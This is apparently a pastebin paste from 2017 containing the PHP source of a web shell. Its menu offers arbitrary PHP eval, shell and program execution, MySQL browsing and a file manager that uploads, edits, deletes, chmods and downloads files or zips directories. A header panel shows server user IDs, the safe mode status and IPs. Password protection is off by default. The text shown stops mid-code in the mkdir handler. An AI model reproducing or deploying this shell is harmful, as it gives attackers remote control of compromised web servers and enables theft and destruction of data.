· 9 years ago · Jul 07, 2017, 06:03 AM
1<?php
2$settings = array();
3$settings['perms'] = "string";
4$settings['timeformat'] = "j.n.y, G:i";
5$settings['passprotect'] = false; //password protection
6$settings['users'] = array();
7//$settings['users']['USERNAME'] = 'PASSWORD';
8@ini_set('log_errors',0);
9@ini_set("display_errors", "1");
10@ini_set('memory_limit', '1200M');
11set_time_limit(360);
12if(ini_get('register_globals')) {
13 foreach($_REQUEST as $key => $var) {
14 if(isset($GLOBALS[$key])) unset($GLOBALS[$key]);
15 }
16 foreach($_FILES as $key => $var) {
17 if(isset($GLOBALS[$key])) unset($GLOBALS[$key]);
18 }
19}
20
21if(!function_exists('scandir')) {
22 function scandir($dir, $sort = 0) {
23 $dirmap = array();
24 if(!is_dir($dir)) {
25 return false;
26 }
27 $dir = opendir($dir);
28 while (false !== ($file = readdir($dir))) $dirmap[] = $file;
29 closedir($dir);
30 ($sort == 1) ? rsort($dirmap) : sort($dirmap);
31 return $dirmap;
32 }
33}
34if($settings['passprotect']) {
35 if (!isset($_SERVER['PHP_AUTH_USER'])) {
36 header('WWW-Authenticate: Basic realm="Shell account please"');
37 header('HTTP/1.0 401 Unauthorized');
38 echo 'NO.';
39 exit;
40 } else {
41 if(isset($settings['users'][$_SERVER['PHP_AUTH_USER']])) {
42 if($settings['users'][$_SERVER['PHP_AUTH_USER']] == $_SERVER['PHP_AUTH_PW']) {
43 $authed = 1;
44 } else die("NOPE.");
45 } else die("NOPE!");
46 }
47}
48if(get_magic_quotes_gpc()) {
49 foreach($_POST as $key => $var) {
50 $_POST[$key] = stripslashes($var);
51 }
52 foreach($_GET as $key => $var) {
53 $_GET[$key] = stripslashes($var);
54 }
55 foreach($_FILES as $key => $var) {
56 $_FILES[$key] = stripslashes($var);
57 }
58 foreach($_REQUEST as $key => $var) {
59 $_REQUEST[$key] = stripslashes($var);
60 }
61}
62if(!function_exists('sys_get_temp_dir')) {
63 function sys_get_temp_dir() {
64 return "/tmp";
65 }
66}
67function post($v) {
68 if(isset($_POST[$v])) return $_POST[$v];
69 else return null;
70}
71function get($v) {
72 if(isset($_GET[$v])) return $_GET[$v];
73 else return null;
74}
75function request($v) {
76 if(isset($_REQUEST[$v])) return $_REQUEST[$v];
77 else return null;
78}
79
80function files($v) {
81 if(isset($_FILES[$v])) return $_FILES[$v];
82 else return null;
83}
84
85function showperms($perms,$type="string") {
86 switch($type) {
87 default:
88 case "string":
89 if (($perms & 0xC000) == 0xC000) {
90 // Socket
91 $info = 's';
92 } elseif (($perms & 0xA000) == 0xA000) {
93 // Symbolic Link
94 $info = 'l';
95 } elseif (($perms & 0x8000) == 0x8000) {
96 // Regular
97 $info = '-';
98 } elseif (($perms & 0x6000) == 0x6000) {
99 // Block special
100 $info = 'b';
101 } elseif (($perms & 0x4000) == 0x4000) {
102 // Directory
103 $info = 'd';
104 } elseif (($perms & 0x2000) == 0x2000) {
105 // Character special
106 $info = 'c';
107 } elseif (($perms & 0x1000) == 0x1000) {
108 // FIFO pipe
109 $info = 'p';
110 } else {
111 // Unknown
112 $info = 'u';
113 }
114
115 // Owner
116 $info .= (($perms & 0x0100) ? 'r' : '-');
117 $info .= (($perms & 0x0080) ? 'w' : '-');
118 $info .= (($perms & 0x0040) ?
119 (($perms & 0x0800) ? 's' : 'x' ) :
120 (($perms & 0x0800) ? 'S' : '-'));
121
122 // Group
123 $info .= (($perms & 0x0020) ? 'r' : '-');
124 $info .= (($perms & 0x0010) ? 'w' : '-');
125 $info .= (($perms & 0x0008) ?
126 (($perms & 0x0400) ? 's' : 'x' ) :
127 (($perms & 0x0400) ? 'S' : '-'));
128
129 // World
130 $info .= (($perms & 0x0004) ? 'r' : '-');
131 $info .= (($perms & 0x0002) ? 'w' : '-');
132 $info .= (($perms & 0x0001) ?
133 (($perms & 0x0200) ? 't' : 'x' ) :
134 (($perms & 0x0200) ? 'T' : '-'));
135 return $info;
136 break;
137 case "number":
138 return substr(sprintf('%o', $perms), -4);
139 break;
140 }
141
142}
143
144
145function gettablesql($table,$ver = null) {
146 if($ver == null) {
147 list($cver) = mysql_fetch_row(mysql_query("SELECT @@version"));
148 $ver = substr($cver,0,1);
149 }
150 echo 'CREATE TABLE IF NOT EXISTS `'.mysql_real_escape_string($table).'` ('."\n";
151 $gcqu = "SHOW COLUMNS IN `".mysql_real_escape_string($table)."`";
152 $getcolumns = mysql_query($gcqu);
153 if($getcolumns) {
154 $isfirst = 1;
155 $primaries = $npkeys = array();
156 while($column = mysql_fetch_assoc($getcolumns)) {
157 if(!$isfirst) echo ",\n";
158 else $isfirst = 0;
159 echo ' `'.mysql_real_escape_string($column['Field']).'` '.$column['Type'];
160 if(strtoupper($column['Null']) == "NO") echo ' NOT NULL ';
161 else echo ' NULL ';
162 if($column['Extra'] == "auto_increment") echo "AUTO_INCREMENT";
163 elseif($column['Default'] && $column['Type'] == 'timestamp' && $column['Default'] == 'CURRENT_TIMESTAMP') echo "DEFAULT ".mysql_real_escape_string($column['Default']);
164 elseif($column['Default']) echo "DEFAULT '".mysql_real_escape_string($column['Default'])."'";
165 if($column['Key'] == "PRI") $primaries[] = $column['Field'];
166 elseif($column['Key'] == "UNI") echo ",\n UNIQUE KEY (`".mysql_real_escape_string($column['Field'])."`)";
167 else {
168 if($ver >= 5) $gkqu = "SHOW KEYS IN `".mysql_real_escape_string($table)."` WHERE `Table`='".mysql_real_escape_string($table)."' && `Column_name`='".mysql_real_escape_string($column['Field'])."'";
169 else $gkqu = "SHOW KEYS IN `".mysql_real_escape_string($table)."`";
170 $getkeys = mysql_query($gkqu);
171 if($getkeys) {
172 while($key = mysql_fetch_assoc($getkeys)) {
173 if($ver >= 5 || ($key['Table'] == $table && $key['Column_name'] == $column['Field'])) {
174 $npkeys[$key['Key_name']][] = $key;
175 }
176 }
177 } else die("\nMySQL error: ".mysql_error()." in '".$gkqu."'\n");
178 }
179 }
180 if($npkeys) {
181 foreach($npkeys as $keyname => $key) {
182 if(count($key) == 1) {
183 //no multirow key
184 $key = $key[0];
185 if($key['Non_unique']) {
186 echo ",\n KEY (`".mysql_real_escape_string($key['Column_name'])."`".($key['Sub_part'] ? "(".$key['Sub_part'].")" : '').")";
187 }
188 else {
189 echo ",\n UNIQUE KEY (`".mysql_real_escape_string($key['Column_name'])."`".($key['Sub_part'] ? "(".$key['Sub_part'].")" : '').")";
190 }
191 } else {
192 if($key[0]['Non_unique']) {
193 echo ",\n KEY (";
194 }
195 else {
196 echo ",\n UNIQUE KEY (";
197 }
198 $isfirst = 1;
199 foreach($key as $keypart) {
200 if(!$isfirst) echo ", ";
201 else $isfirst = 0;
202 echo '`'.mysql_real_escape_string($keypart['Column_name']).'`'.($keypart['Sub_part'] ? "(".$keypart['Sub_part'].")" : '');
203 }
204 echo ")";
205
206 }
207 }
208 }
209 if($primaries) {
210 echo ",\n PRIMARY KEY (";
211 $isfirst = 1;
212 foreach($primaries as $primary) {
213 if(!$isfirst) echo ", ";
214 else $isfirst = 0;
215 echo '`'.mysql_real_escape_string($primary).'`';
216 }
217 echo ")\n";
218 }
219 } else die("\nMysql Errror: ".mysql_error()." in '".$gcqu."'\n");
220 echo ");\n\n";
221}
222function gettablecontentsql($table,$insertbreak = 10,$ver = 0) {
223 if($ver == null) {
224 list($cver) = mysql_fetch_row(mysql_query("SELECT @@version"));
225 $ver = substr($cver,0,1);
226 }
227 $gcqu = "SHOW COLUMNS IN `".mysql_real_escape_string($table)."`";
228 $getcolumns = mysql_query($gcqu);
229 if($getcolumns) {
230 $columns = array();
231 while($column = mysql_fetch_assoc($getcolumns)) {
232 list($type) = explode("(",$column['Type'],2);
233 $columns[] = $column + array('rtype' => $type);
234 if($column['Extra'] == "auto_increment") $aitab = $column['Field'];
235 }
236 } else die("\nMySQL error: ".mysql_error()." in '".$gcqu."'\n");
237 $insertstart = "INSERT INTO `".mysql_real_escape_string($table)."` (";
238 $isfirst = true;
239 foreach($columns as $column) {
240 if(!$isfirst) $insertstart .= ", ";
241 else $isfirst = false;
242 $insertstart .= "`".mysql_real_escape_string($column['Field'])."`";
243 }
244 $insertstart .= ") VALUES (";
245 $insertend = ");\n";
246 $getrows = mysql_query("SELECT * FROM `".mysql_real_escape_string($table)."` ".(!empty($aitab) ? (" ORDER BY `".mysql_real_escape_string($aitab)."`") : ""));
247 $i = 0;
248 while($row = mysql_fetch_assoc($getrows)) {
249 if(!($i%$insertbreak)) echo $insertstart;
250 else echo ", (";
251 $isfirst = true;
252 foreach($columns as $column) {
253 if(!$isfirst) echo ", ";
254 else $isfirst = false;
255 if($column['Null'] == "YES" && $row[$column['Field']] === null) echo "null";
256 else {
257 switch($column['rtype']) {
258 default: echo "'".mysql_real_escape_string($row[$column['Field']])."'"; break;
259 case "tinyint": case "int": case "float": case "bigint": case "smallint": echo $row[$column['Field']]; break;
260
261 }
262 }
263 }
264 if(!(($i+1)%$insertbreak)) echo $insertend;
265 else echo ")";
266 $i++;
267 }
268 if($i != 0) echo ";\n";
269}
270function findindb($needle,$type='col',$identical = 0) {
271 $getdatabases = mysql_list_dbs();
272 while ($db = mysql_fetch_row($getdatabases)) {
273 mysql_query("USE `".$db[0]."`");
274 $gettables = mysql_query("SHOW TABLES");
275 while($table= mysql_fetch_row($gettables)) {
276 if($type == 'col') {
277 $getcolumns = mysql_query("SHOW COLUMNS IN `".mysql_real_escape_string($table[0])."`");
278 if($getcolumns) {
279 while($column = mysql_fetch_assoc($getcolumns)) {
280 foreach($needle as $n) {
281 if((!$identical && stripos($column['Field'],$n) !== false) || ($identical && strtolower($column['Field']) == strtolower($n)) ) {
282 echo "Database: <b>".htmlentities($db[0])."</b> Table: <b>".htmlentities($table[0])."</b> Column: <b>".htmlentities($column['Field'])."</b> Found: ".htmlentities($n)."<br />";
283 break;
284 }
285 }
286 }
287 }
288 } elseif($type == 'table') {
289 foreach($needle as $n) {
290 if((!$identical && stripos($table[0],$n) !== false) || ($identical && strtolower($table[0]) == strtolower($n)) ) {
291 echo "Database: <b>".htmlentities($db[0])."</b> Table: <b>".htmlentities($table[0])."</b> Found: ".htmlentities($n)."<br />";
292 break;
293 }
294 }
295 }
296 }
297 }
298}
299function get_iden_query($iden) {
300 if($iden) {
301 $iden = base64_decode($iden);
302 $crit = explode("&",$iden);
303 if($crit) {
304 $query = "";
305 $error = 0;
306 foreach($crit as $cr) {
307 if(strpos($cr,"=") !== false) {
308 $crits = explode("=",$cr,2);
309 $query .= ($query ? " &&" : "")." `".mysql_real_escape_string($crits[0])."`='".mysql_real_escape_string($crits[1])."'";
310 } else {
311 $error = 1;
312 break;
313 }
314 }
315 if(!$error) {
316 return $query;
317 } else echo "Error: invalid data specified.";
318 } else echo "Error: No specific row selected.";
319 } else echo "Error: That row doesn't exist (anymore?)";
320 return false;
321}
322$action = get('action');
323if(!request('shownone')) {
324?>
325<div style="font-size:12px; margin:0px; margin-bottom:5px; border:0px; border-bottom:1px black solid; padding:0px; ">
326 [<a href="?action=dir">Files/directories</a>]
327 [<a href="?action=eval">Execute PHP Code (eval)</a>]
328 [<a href="?action=shellexec">Execute Shell</a>]
329 [<a href="?action=exec">Execute ext. program</a>]
330 [<a href="?action=phpinfo">PHPInfo();</a>]
331 [<a href="?action=showglobals">Show all vars</a>]
332 [<a href="?action=mysql">MySQL</a>]
333 [<a href="?action=system">System</a>]
334 <br>
335 [<?php $thingcache = @php_uname(); if($thingcache) list($kernel) = explode("#",$thingcache,2); else $kernel = "Couldn't retrieve Kernel version"; echo $kernel; ?>]
336 [PHP Ver: <?php echo phpversion(); ?>]
337 <?php if(function_exists('php_ini_loaded_file')) { ?>[Ini file: <?php echo php_ini_loaded_file(); ?>]<?php } ?>
338 [User: <?php $thingcache = @get_current_user(); if($thingcache) echo $thingcache; else echo "Couldn't retrieve"; ?>]
339 [GID: <?php $thingcache = @getmygid(); if($thingcache) echo $thingcache; else echo "Couldn't retrieve"; ?>]
340 [UID: <?php $thingcache = @getmyuid();if($thingcache) echo $thingcache; else echo "Couldn't retrieve"; ?>]
341 [Safe mode: <?php if(ini_get("safe_mode") || strtolower(ini_get("safe_mode")) == "on") echo "on"; else echo "off"; ?>]
342 [Open basedir: <?php if(ini_get("open_basedir") || strtolower(ini_get("open_basedir")) == "on") echo "on"; else echo "off"; ?>]
343 <br><span style="font-size:11px;">[Server: <?php echo htmlentities($_SERVER['SERVER_SOFTWARE']);?>]</span>
344 <br><span style="font-size:11px;">[Server IP: <?php echo htmlentities($_SERVER['SERVER_ADDR']);?> (<?php echo htmlentities($_SERVER['SERVER_NAME']);?>)] [Your IP: <?php echo htmlentities($_SERVER['REMOTE_ADDR']);?> (<?php echo htmlentities(gethostbyaddr($_SERVER['REMOTE_ADDR']));?>)]
345 [Space: <?php if(@disk_free_space(getcwd()) && @disk_total_space(getcwd())) { echo round(disk_free_space(getcwd())/(1024*1024*1024),2);?>/<?php echo round(disk_total_space(getcwd())/(1024*1024*1024),2);?>GB<?php } else echo "Couldn't retrieve"; ?>] [Script pos: <a href="?action=dir&dir=<?php echo urlencode(getcwd());?>"><?php echo getcwd(); ?></a>]</span>
346
347 </div>
348<?php
349}
350switch($action) {
351 default:
352 case "dir":
353 //add other options here later
354 case "listdir":
355 if(!get('dir')) $dir = getcwd();
356 else $dir = get('dir');
357 ?>
358 <form style="margin:0px;" method="GET" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']);?>">
359 <input type="hidden" name="action" value="<?php echo htmlentities($action); ?>">
360 Directory navigation: <input type="text" name="dir" value="<?php echo htmlentities($dir);?>" size="60">
361 <input type="submit" value="List Dir">
362 </form>
363 <form style="margin:0px;" method="GET" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']);?>">
364 <input type="hidden" name="action" value="touch">
365 Touch (create) file: <input type="text" name="file" value="<?php echo htmlentities($dir);?>/" size="60">
366 <input type="submit" value="Make file">
367 </form>
368 <form style="margin:0px;" method="GET" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']);?>">
369 <input type="hidden" name="action" value="file">
370 Edit file: <input type="text" name="file" value="<?php echo htmlentities($dir);?>/" size="60">
371 <input type="submit" value="Open file">
372 </form>
373 <form style="margin:0px;" method="GET" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']);?>">
374 <input type="hidden" name="action" value="mkdir">
375 Make directory: <input type="text" name="dir" value="<?php echo htmlentities($dir);?>/" size="60">
376 <input type="submit" value="Make dir">
377 </form>
378 <form style="margin:0px;" enctype="multipart/form-data" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']);?>?action=upfile" method="POST">
379 <input type="hidden" name="dir" value="<?php echo htmlentities($dir); ?>">
380 Upload file to this dir: <input name="file" type="file">
381 <input type="submit" value="Upload file">
382 overwrite? <input type="checkbox" name="overwrite" value="1" />
383 rename? <input type="text" name="fname" value="" size="20">
384 </form>
385
386 <?php
387 if(@is_dir($dir)) {
388 if($dircontent = scandir($dir)) {
389 echo "<table border=\"1\">";
390 ?><tr><td>type</td><td>go</td><td>X</td><td>DL</td><td>name</td><td>size</td><td>mode</td><td>owner</td><td>group</td><td>access</td><td>change</td></tr><?php
391 foreach($dircontent as $thing) {
392 if(@is_dir($dir."/".$thing)) $isdir = true;
393 else $isdir = false;
394
395 if($thing == ".") $thingpath = "/";
396 else $thingpath = @realpath($dir."/".$thing);
397 ?>
398 <tr>
399 <td>
400 <?php
401 if($isdir) echo "<font color=\"#AAAA00\"><b>dir</b></font>";
402 else echo "<font color=\"#AAAAAA\"><b>file</b></font>";
403 ?>
404 </td>
405 <td>
406 <?php
407 if($isdir) echo "<a href=\"?action=listdir&dir=".urlencode($thingpath)."\">go</a>";
408 else echo "<a href=\"?action=file&file=".urlencode($thingpath)."\">go</a>";
409 ?>
410 </td>
411 <td>
412 <?php
413 if($isdir) { if($thingpath != "/") echo "<a href=\"?action=rmdir&dir=".urlencode($thingpath)."\">rm</a>"; }
414 else echo "<a href=\"?action=delfile&file=".urlencode($thingpath)."\">del</a>";
415 ?>
416 </td>
417 <td>
418 <?php
419 if(!$isdir) echo "<a href=\"?action=dlfile&shownone=true&file=".urlencode($thingpath)."\">dl</a>";
420 else echo "<a href=\"?action=zipdir&shownone=true&dir=".urlencode($thingpath)."\">zip</a>";
421 ?>
422 </td>
423 <td>
424 <b><?php echo htmlentities($thing); ?></b>
425 </td>
426 <td>
427 <?php
428 if($isdir) { echo "-"; }
429 else echo ((round(filesize($thingpath)/1024,2) != 0) ? (round(filesize($thingpath)/1024,2)." kb") : (filesize($thingpath)."b"));
430 ?>
431 </td>
432 <td>
433 <b style='font-family:courier,"courier new";'>
434 <?php
435 echo showperms(@fileperms($thingpath),$settings['perms']);
436 ?>
437 </b>
438 </td>
439 <td>
440 <?php
441 echo @fileowner($thingpath);
442 ?>
443 </td>
444 <td>
445 <?php
446 echo @filegroup($thingpath);
447 ?>
448 </td>
449 <td>
450 <?php
451 echo date($settings['timeformat'],@fileatime($thingpath));
452 ?>
453 </td>
454 <td><b>
455 <?php
456 echo date($settings['timeformat'],@filectime($thingpath));
457 ?>
458 </b></td>
459 </tr>
460 <?php
461 }
462 echo "</table>";
463 } else {
464 echo "<b>Error:</b> No permission to open \"".htmlentities($dir)."\". DENIED!<br>";
465 }
466 } else {
467 echo "<font color=\"#990000\">";
468 if(!file_exists($dir)) echo "<b>Error:</b> \"".htmlentities($dir)."\" does not exist.<br>";
469 else echo "<b>Error:</b> \"".htmlentities($dir)."\" is not a directory<br>";
470 echo "</font>";
471 }
472
473 break;
474 case "upfile":
475 if($file = files('file')) {
476 $dir = (trim(post('dir')) && is_dir(trim(post('dir')))) ? trim(post('dir')) : getcwd();
477 if(substr($dir,-1,1) != "/") $dir .= "/";
478 if(trim(post('fname'))) $filename = $dir.trim(post('fname'));
479 else $filename = $dir.$file['name'];
480 if(file_exists($filename)) {
481 echo "<font color=\"#990000\">File ".htmlentities($filename)." already exists!</font><br>";
482 }
483 if(!file_exists($filename) || post('overwrite')) {
484 if(file_exists($filename)) echo "<b>Overwriting...</b><br>";
485 if(move_uploaded_file($file['tmp_name'], $filename)) {
486 echo "<font color=\"#00AA00\"><b>FILE UPLOADED!</b></font><br>";
487 } else {
488 echo "<font color=\"#990000\">Upload failed. Fuck. </font><br>";
489 }
490 }
491
492 } else echo "<font color=\"#990000\"><b>Error:</b> No file uploaded</font><br>";
493 ?>
494[<a href="?action=dir&dir=<?php echo urlencode($dir);?>">containing directory</a>]
495[<a href="?action=delfile&file=<?php echo urlencode($filename);?>">delete again</a>]
496[<a href="?action=php&file=<?php echo urlencode($filename);?>">as php source</a>]
497[<a href="?action=html&file=<?php echo urlencode($filename);?>">as html</a>]
498[<a href="?action=file&file=<?php echo urlencode($filename);?>">edit file</a>]
499
500 <?php
501 break;
502 case "file":
503 case "editfile":
504 $file = get('file');
505 if($file) {
506 if(is_file($file)) {
507 if(post('newname') && post('newname') != $file) {
508 if(post('fnoverwrite') || !file_exists(post('newname'))) {
509 if(rename($file,post('newname'))) {
510 echo "<font color=\"#00AA00\"><b>File name changed successfully</b></font><br>";
511 $file = post('newname');
512 }
513 else echo "<font color=\"#990000\"><b>Error:</b> Failed to change file name</font><br>";
514 } else echo "<font color=\"#990000\"><b>Error:</b> Failed to change file name - a file with that name already exists!</font><br>";
515 }
516 if(post('copyto') && post('copyto') != $file) {
517 if(post('fcoverwrite') || !file_exists(post('copyto'))) {
518 if(copy($file,post('copyto'))) {
519 echo "<font color=\"#00AA00\"><b>File copied successfully</b></font><br>";
520 }
521 else echo "<font color=\"#990000\"><b>Error:</b> Failed to copy file</font><br>";
522 } else echo "<font color=\"#990000\"><b>Error:</b> Failed to copy file - a file with that name already exists!</font><br>";
523 }
524 if(post('chmod') && post('chmod') != substr(sprintf('%o', fileperms($file)),-4)) {
525 if(preg_match("/^([0-8]{3,4})$/",post('chmod')) ) {
526 if(chmod($file,octdec(post('chmod')))) {
527 echo "<font color=\"#00AA00\"><b>File CHMod to ".htmlspecialchars(post('chmod'))." successful</b></font><br>";
528 $chmod = htmlspecialchars(post('chmod'));
529 }
530 else echo "<font color=\"#990000\"><b>Error:</b> Failed to CHMod</font><br>";
531 } else echo "<font color=\"#990000\"><b>Error:</b> That is not a valid CHMod number.</font><br>";
532 }
533 if(post('owner') && post('owner') != fileowner($file)) {
534 if(chown($file,post('owner'))) echo "<font color=\"#00AA00\"><b>File owner changed successfully</b></font><br>";
535 else echo "<font color=\"#990000\"><b>Error:</b> Failed to change owner </font><br>";
536 }
537 if(post('group') && post('group') != filegroup($file)) {
538 if(chgrp($file,post('group'))) echo "<font color=\"#00AA00\"><b>File group changed successfully</b></font><br>";
539 else echo "<font color=\"#990000\"><b>Error:</b> Failed to change group </font><br>";
540 }
541 }
542 }
543 case "php":
544 case "html":
545 $file = get('file');
546 ?>
547 <form method="GET" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']);?>">
548 <input type="hidden" name="action" value="<?php echo htmlentities($action); ?>">
549 File: <input type="text" name="file" value="<?php echo htmlentities($file);?>" size="60">
550 <input type="submit" value="List">
551 </form>
552
553 <?php
554 if($file) {
555 if(is_file($file)) {
556 $info = pathinfo($file);
557 if(post('contents')) {
558 if(file_put_contents($file,post('contents'))) {
559 echo "<font color=\"#00AA00\"><b>File edited successfully</b></font><br>";
560 } else echo "<font color=\"#990000\"><b>Error:</b> Can't writing to file!</font><br>";
561 }
562 if(!isset($chmod)) $chmod = substr(sprintf('%o', fileperms($file)),-4);
563 ?>
564 <form method="POST" action="<?php echo htmlentities(post('SCRIPT_NAME'));?>?action=<?php echo htmlentities($action); ?>&file=<?php echo htmlentities($file)?>">
565 new file name/path: <input type="text" name="newname" value="<?php echo htmlentities($file);?>" size="60"> <input type="checkbox" name="fnoverwrite" value="1">Overwrite existing files<br>
566 copy to: <input type="text" name="copyto" value="" size="60"> <input type="checkbox" name="fcoverwrite" value="1">Overwrite existing files<br>
567 new CHMOD: <input type="text" name="chmod" value="<?php echo $chmod;?>" size="60"><br>
568 new File owner (id or name): <input type="text" name="owner" value="<?php echo htmlentities(fileowner($file));?>" size="60"><br>
569 new File group (id or name): <input type="text" name="group" value="<?php echo htmlentities(filegroup($file));?>" size="60"><br>
570 <?php
571 if($action != "php" && $action != "html") {
572 ?>
573 <textarea name="contents" style="width:80%; height:500;"><?php
574 $handle = fopen ($file, "r");//not using file_get_contents in case the file is too big for the memory
575 if($handle) {
576 while (!feof($handle)) {
577 $buffer = fgets($handle, 4096);
578 echo htmlentities($buffer);
579 }
580 fclose ($handle);
581 } else echo "Could not open file! Denied!";
582 ?></textarea><br>
583 <?php
584 } elseif($action == "php") {
585 echo "<hr />";
586 if(highlight_file($file));
587 else echo "Could not open file! Denied!";
588 echo "<hr />";
589 } elseif($action == "html") {
590 echo "<hr />";
591 $handle = fopen ($file, "r");//not using file_get_contents in case the file is too big for the memory
592 if($handle) {
593 while (!feof($handle)) {
594 $buffer = fgets($handle, 4096);
595 echo $buffer;
596 }
597 fclose ($handle);
598 } else echo "Could not open file! Denied!";
599 echo "<hr />";
600 }
601 ?>
602 <input type="submit" value="edit!"> [<a href="?action=dir&dir=<?php echo urlencode($info['dirname']);?>">containing directory</a>] [<a href="?action=delfile&file=<?php echo urlencode($file);?>">delete</a>] [<a href="?action=php&file=<?php echo urlencode($file);?>">as php source</a>] [<a href="?action=html&file=<?php echo urlencode($file);?>">as html</a>] [<a href="?action=file&file=<?php echo urlencode($file);?>">edit file</a>]
603 </form>
604 <?php
605 } else {
606 echo "<font color=\"#990000\">";
607 if(!file_exists($file)) echo "<b>Error:</b> \"".htmlentities($file)."\" does not exist.<br>";
608 else echo "<b>Error:</b> \"".htmlentities($file)."\" is not a file<br>";
609 echo "</font>";
610 }
611 }
612 break;
613 case "delfile":
614 $file = get('file');
615 if($file) {
616 if(is_file($file)) {
617 if(post('sure')) {
618 if(unlink($file)) echo "<font color=\"#00AA00\"><b>File \"".htmlentities($file)."\" deleted successfully!</b></font><br><a href=\"?action=dir&dir=".htmlentities(( substr($file,0,strrpos($file,'/')) ))."\">Back to the directory listing</a>";
619 else echo "<font color=\"#990000\"><b>Error while deleting the file \"".htmlentities($file)."\"!</b></font>";
620 } else {
621 ?>
622 <form method="POST">
623 Do you really want to delete the file "<?php echo htmlentities($file); ?>"?<br>
624 <input type="checkbox" name="sure" value="1"> Yes.<br>
625 <input type="submit" value="Do it!">
626 </form>
627 <?php
628 }
629 } else {
630 echo "<font color=\"#990000\">";
631 if(!file_exists($file)) echo "<b>Error:</b> \"".htmlentities($file)."\" does not exist.<br>";
632 else echo "<b>Error:</b> \"".htmlentities($file)."\" is not a file<br>";
633 echo "</font>";
634 }
635 }
636 break;
637 case "dlfile":
638 $file = get('file');
639 if($file) {
640 if(is_file($file)) {
641 $ffile = substr(strrchr($file,'/'),1);
642 $handle = fopen ($file, "r");//not using file_get_contents in case the file is too big for the memory
643 if($handle) {
644 header('Content-Disposition: attachment; filename="'.$ffile.'"');
645 header('Content-Transfer-Encoding: binary');
646 header("Content-Length: " . filesize($file));
647 while (!feof($handle)) {
648 $buffer = fgets($handle, 4096);
649 echo $buffer;
650 }
651 fclose ($handle);
652 } else echo "Could not open file! Denied!";
653 } else echo "not a file";
654 } else echo "no file";
655 break;
656 case "rmdir":
657 $dir = get('dir');
658 if($dir) {
659 if(is_dir($dir)) {
660 if(post('sure')) {
661 if(rmdir($dir)) echo "<font color=\"#00AA00\"><b>directory \"".htmlentities($dir)."\" deleted successfully!</b></font><br><a href=\"?action=dir\">Back to the directory listing</a>";
662 else echo "<font color=\"#990000\"><b>Error while deleting the directory \"".htmlentities($dir)."\"! (maybe it's not empty?)</b></font>";
663 } else {
664 ?>
665 <form method="POST">
666 Do you really want to delete the directory "<?php echo htmlentities($dir); ?>"? (it has to be empty)<br>
667 <input type="checkbox" name="sure" value="1"> Yes.<br>
668 <input type="submit" value="Do it!">
669 </form>
670 <?php
671 }
672 } else {
673 echo "<font color=\"#990000\">";
674 if(!file_exists($file)) echo "<b>Error:</b> \"".htmlentities($file)."\" does not exist.<br>";
675 else echo "<b>Error:</b> \"".htmlentities($file)."\" is not a directory<br>";
676 echo "</font>";
677 }
678 }
679 break;
680 case "zipdir":
681 ignore_user_abort(true);//this is to make sure the zip archive gets deleted from the temp folder
682 $dir = get('dir');
683 if($dir) {
684 if(is_dir($dir)) {
685 $fdir = substr(strrchr(substr($dir,1),'/'),1);
686 if(1) {
687 //echo "<font color=\"#990000\">ZipArchive class not available! Can't zip anything!</font>";
688 //Zip not available -> using cmd instead
689 $tmpfile = tempnam(sys_get_temp_dir(), "zip").".zip";
690 if(!isset($_GET['tar']) && $cmd = exec("zip -r \"".$tmpfile."\" \"".realpath($dir)."\"",$output,$ret)) {
691 $handle = fopen ($tmpfile, "r");//not using file_get_contents in case the file is too big for the memory
692 if($handle) {
693 header("Content-Type: application/zip");
694 header("Content-Length: " . filesize($tmpfile));
695 header("Content-Disposition: attachment; filename=\"".$fdir.".zip\"");
696 while (!feof($handle)) {
697 echo fgets($handle, 4096);
698 }
699 fclose ($handle);
700 } else {
701 echo "Could not open zip. Weird.";
702 }
703 if(file_exists($tmpfile)) unlink($tmpfile);
704 } else {
705 //echo "zip failed:<br /> ".nl2br(htmlentities(print_r($output,true)))." <hr /> (".htmlentities($ret).") / (".htmlentities($tmpfile).")";
706 if(file_exists($tmpfile)) unlink($tmpfile);
707
708 $tmpfile = tempnam(sys_get_temp_dir(), "tar").".tar";
709 $cmdd = "tar -cf \"".$tmpfile."\" \"".realpath($dir)."\"";
710 $cmd = exec($cmdd,$output,$ret);
711 if(!$ret) {
712 $handle = fopen ($tmpfile, "r");//not using file_get_contents in case the file is too big for the memory
713 if($handle) {
714 header("Content-Type: application/tar");
715 header("Content-Length: " . filesize($tmpfile));
716 header("Content-Disposition: attachment; filename=\"".$fdir.".tar\"");
717 while (!feof($handle)) {
718 echo fgets($handle, 4096);
719 }
720 fclose ($handle);
721 } else {
722 echo "Could not open tar. Weird.";
723 }
724 if(file_exists($tmpfile)) unlink($tmpfile);
725 } else echo "tar failed: ".htmlentities($cmdd)."<br /> ".nl2br(htmlentities(print_r($output,true)))." <hr /> (".htmlentities($ret).") / (".htmlentities($tmpfile).")";
726 if(file_exists($tmpfile)) unlink($tmpfile);
727 }
728 }
729 } else {
730 echo "<font color=\"#990000\">";
731 if(!file_exists($dir)) echo "<b>Error:</b> \"".htmlentities($dir)."\" does not exist.<br>";
732 else echo "<b>Error:</b> \"".htmlentities($dir)."\" is not a directory<br>";
733 echo "</font>";
734 }
735 }
736 break;
737 case "touch":
738 $file = get('file');
739 $info = pathinfo($file);
740 if($file) {
741 if(@touch($file)) {
742 echo "<font color=\"#00AA00\"><b>File \"".htmlentities($file)."\" touched successfully!</b></font><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir&dir=".urlencode($info['dirname'])."\">to the directory</a><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=file&file=".urlencode($file)."\">to the file</a><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir\">to the directory listing</a><br>";
743 } else echo "<font color=\"#990000\"><b>Error:</b> file \"".htmlentities($file)."\" could not be touched (Denied!)</font><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir&dir=".urlencode($info['dirname'])."\">to the directory</a><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir\">to the directory listing</a><br>";
744 }
745 break;
746 case "mkdir":
747 $dir = get('dir');
748 if($dir) {
749 if(@mkdir($dir)) {
